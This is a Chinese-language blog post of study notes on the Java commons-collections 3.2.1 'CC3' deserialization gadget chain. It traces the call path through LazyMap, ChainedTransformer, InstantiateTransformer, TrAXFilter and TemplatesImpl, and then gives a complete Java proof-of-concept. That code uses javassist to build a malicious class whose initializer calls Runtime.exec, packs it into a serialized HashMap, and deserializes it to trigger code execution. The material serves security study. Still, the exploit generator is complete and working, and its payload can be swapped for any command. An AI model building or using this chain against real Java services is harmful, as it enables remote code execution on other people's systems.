java-CC3 链审计笔记
java-CC3 链审计笔记
调用链
来自 ysoserial
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
ysoserial 中只写了一段注释,意思是 这是 CommonsCollections1 的一个变种,它使用了 InstantiateTransformer 而不是 InvokerTransformer
依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
分析
他说把 InvokerTransformer 换为了 InstantiateTransformer 我们来看看换的这个类,有什么能力

可以发现,他的 transform 方法,可以获得构造器并实例化类。作为链条的尾部,肯定就是实现恶意类加载了
这里看了一下我的 jdk 版本,有点高了,关键的 AnnotationInvocationHandler#readObject 中 setValue 被删除了

我们用 CC6 改吧 ,原理其实是一样的,CC6 比 CC1 适用的 JDK 版本更高
CC6 链
java.io.ObjectInputStream.readObject()
java.util.HashMap.put()
java.util.HashMap.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
CC3 替换的链
java.io.ObjectInputStream.readObject()
java.util.HashMap.put()
java.util.HashMap.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InstantiateTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#TrAXFilter
javax.xml.transform.Templates#newTransformer
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
我们来分析一下
首先,InstantiateTransformer#transform 方法 具有创建类实例的能力,我们最先想到的看到还是 TemplateImpl 的类加载能力,不过需要调用它的 newTransformer() 或者 getOutputProperties() 方法
我们找到了 TrAXFilter 这个类的构造方法,可以看到他在实例化的时候,调用了 TemplateImpl#newTransformer 方法

这样一下子 我们就清晰了,我们只需要在 ChainedTransformer 的 iTransformers 数组中放入 ConstantTransformer 封装的 TrAXFilter 类 和 InstantiateTransformer封装的TrAXFilter的构造器参数和值 其实就是 TemplatesImpl 恶意类
POC
注意:
如果要显示调用 TemplateImpl#newTransformer() 进行验证的话,需要
_factory不为空,也就是要给_factory反射赋值
package com.lingx5;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static byte[] getEvilBytes() throws Exception{
ClassPool ctClass = ClassPool.getDefault();
CtClass evil = ctClass.makeClass("evil");
CtClass superClass = ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
evil.setSuperclass(superClass);
evil.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
return evil.toBytecode();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] bytes = getEvilBytes();
// 创建TemplatesImpl对象,这里没给 _factory 字段赋值,是因为TemplatesImpl的readObject会去赋值
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "evil");
// 封装 transformers 经典的 CC6 链,不够就是 数组的参数有所改变
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
// 执行ChainedTransformer.transform(Object)时,会调用到 TrAXFilter的构造函数
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "lingx5");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "lingx5");
// 反射给map的factory字段赋值为chainedTransformer
Field factory = map.getClass().getDeclaredField("factory");
factory.setAccessible(true);
factory.set(map, chainedTransformer);
map.remove("lingx5");
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
其实学习完之前的链条,这个就很容易理解了


浙公网安备 33010602011771号